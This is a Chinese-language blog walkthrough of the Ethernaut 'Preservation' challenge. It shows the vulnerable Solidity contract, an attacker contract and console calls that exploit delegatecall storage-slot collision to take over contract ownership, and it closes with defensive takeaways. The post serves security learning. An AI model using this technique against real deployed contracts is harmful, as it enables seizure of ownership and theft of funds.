Ethernaut – level 16 : Preservation

(https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F)

這一關的目標回到取得合約的所有權,因此我們可以想像應該有一個function會有類似owner=player這樣的執行句,同時這個函數應該有某些條件才能執行,來找找看題目的合約是怎麼寫的吧。

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

結果發現,完全沒有這樣的地方!,owner=msg.sender只出現在constructor()! 這一題頗有難度,我們在level 6時看過delegatecall,那時對delegate的理解就是它能用B合約的函數來執行A合約的變數,但今天我們要更深入一點的來看delegatecall,關於使用delegatecall時到底怎麼使用A、B合約的變數的細節。也是這一題破題的關鍵喔。先上一張圖:

source:https://medium.com/coinmonks/

請觀察關於變數的宣告,及圖中右下角儲存的方式,A合約宣告變數foo,B合約宣告變數Bar,但因為兩者都在slot 0的儲存空間,所以在B合約設定Bar(slot 0)的值(在A合約使用delegatecall時)會直接帶入A合約的Slot 0,而不管變數名稱是否一樣! 也就是說,程式看的是Slot的position,在同一合約內用變數名來判斷是使用哪個Slot,但在delegatecall的情境下,是用Slot postion來做儲存而非用變數名來做判斷,因此如圖中,A合約雖然變數名稱叫做foo,B 合約變數名稱叫做bar,但因為兩者的位置都是slot 0,因此在B合約對於bar設定的值,就會設定在A合約的slot 0,也就是foo的值。

花了一些時間想通了上述這個程式的邏輯後,回來看關卡的合約內容,我們可以藉著呼叫一次setFirstTime(time)來設定slot 0 = time,而preservation合約中的slot 0 是address public timeZone1Library,也就是setFirstTime()函數中來進行呼叫delegatecall(timeZone1Library.delegatecall)的位址,若我們輸入的time不是 time而是我們自己寫的一個合約位址呢?這樣當我們再次呼叫setFristTime時,它就會執行我們合約中的setTime()函數 (這邊在自己寫的合約中一定要用setTime(uint)函數,因為preservation合約中的這一行: bytes4 constant setTimeSignature = bytes4(keccak256(“setTime(uint256)”),delegatecall使用setTimeSignature來呼叫setTime(uint256))

到此,我們解了一半,我們接下來寫一個上面所說的自己的合約,並包含setTime()函數,並在此函數中讓第三個變數(slot 2) = player的錢包位址或 tx.origin (須注意將uint轉成 unit160再轉成address後存入slot 2)。另外可以寫一隻函數來方便我們知道合約位址轉成uint的樣子。

pragma solidity ^0.8.0;

contract hackPreservation{

    address not_important_one; 
    address not_important_two;
    address owner; 
     
    //這隻function只是輔助取得contract的address的uint長相
    function showAddress() view public returns(uint retVau){
        return uint(uint160(address(this)));
    } 

     
    function setTime(uint _time) public {
        owner = tx.origin;
        //owner = address(uint160(_time));

    }

}

最後就是回console去呼叫並執行囉:

await contract.owner();  //目前還不是你的錢包address
await contract.setFirstTime("<showAddress()取得的address>"); //將我們自己寫的合約的address植入,timeZone1Library變成我們的合約address

await contract.setFirstTime("<任意uint>");  //執行我們合約的setTime()
await contract.owner(); //此時發現owner已經變成自己的錢包位址了!

過關!這一關是不是真的很有駭客的感覺呢 ?

*Takeaway:

  • delegatecall的威力強大,但要小心使用。尤其要了解它是用slot位置來做儲存的mapping這樣的機制。
  • 另外,Ethernaut也建議可以使用library keyward來建立呼叫的函示庫以避免此題的情況。
  • 事實上這一題在原始題目中就是藏著bug的,如果第一次呼叫時正常的輸入setFirstTime(time)的time,則第二次呼叫setFirstTime時也會出錯,應該設下僅能呼叫一次的限制。